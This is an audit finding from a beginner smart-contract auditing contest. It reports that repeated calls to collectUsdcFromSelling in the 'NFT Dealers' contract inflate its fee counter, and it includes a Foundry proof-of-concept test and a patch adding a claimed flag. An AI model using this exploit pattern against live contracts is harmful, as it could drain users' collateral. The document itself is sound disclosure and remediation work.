NFT Dealers
First Flight #58
Beginner FriendlyFoundry
100 EXP
View all submissions
Previous Next
Submission Details
Impact: high
Likelihood: high

Fee Accounting Manipulation

Author Revealed upon completion

Root + Impact

Description

  • Normal Behavior: totalFeesCollected should represent the actual, realized 1%–5% cut taken from completed, finalized sales.


  • Specific Issue: Because collectUsdcFromSelling can be called multiple times, the line totalFeesCollected += fees; executes every time. This creates a "Phantom Balance" where the contract believes it has earned more in fees than it actually has in liquid USDC.

function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
// ...
​
@> totalFeesCollected += fees;
// ...
}

Risk

Likelihood: High

  • There is no check to see if totalFeesCollected exceeds the actual USDC profit generated by the specific listingId

Impact: High

  • Impact 1: Collateral Drain. The owner may unknowingly withdraw "fees" that are actually the lockAmount deposits of other users.

  • Impact 2: Insolvency. The protocol becomes unable to pay back collateral to users who cancel their listings because the USDC was moved to the owner via withdrawFees.

Proof of Concept

function test_FeeAccountingInflationPoC() public revealed {
uint256 tokenId = 1;
uint32 listPrice = 1000e6; // Fee will be 3% = 30 USDC
deal(address(usdc), address(nftDealers), 2010e6);
// 1. Initial Setup: Mint and List
mintAndListNFTForTesting(tokenId, listPrice);
​
// 2. A legitimate buyer buys the NFT to make the listing inactive
address buyer = makeAddr("buyer");
deal(address(usdc), buyer, 1000e6);
vm.startPrank(buyer);
usdc.approve(address(nftDealers), listPrice);
nftDealers.buy(tokenId);
vm.stopPrank();
​
// 3. Seller exploits the lack of 'claimed' status to inflate global fee counter
// Each call adds 30 USDC to totalFeesCollected without actual revenue
vm.startPrank(userWithCash);
for(uint256 i = 0; i < 3; i++) {
nftDealers.collectUsdcFromSelling(tokenId);
}
vm.stopPrank();
​
uint256 inflatedFees = nftDealers.totalFeesCollected();
uint256 actualContractBalance = usdc.balanceOf(address(nftDealers));
assertGt(inflatedFees, actualContractBalance, "Fees inflated beyond contract liquidity!");
// 4. Prove the DoS: Owner tries to withdraw fees and fails
vm.prank(owner);
vm.expectRevert(); // Should revert due to insufficient USDC in contract
nftDealers.withdrawFees();
}

Recommended Mitigation

Ensure the fee is only added to the global counter when the listing is first marked as Claimed.

function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
Listing storage listing = s_listings[_listingId];
require(!listing.isActive, "Not sold");
+ require(!listing.isClaimed, "Already claimed");
​
uint256 fees = _calculateFees(listing.price);
+ totalFeesCollected += fees;
+ listing.isClaimed = true;
// ... rest of logic
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!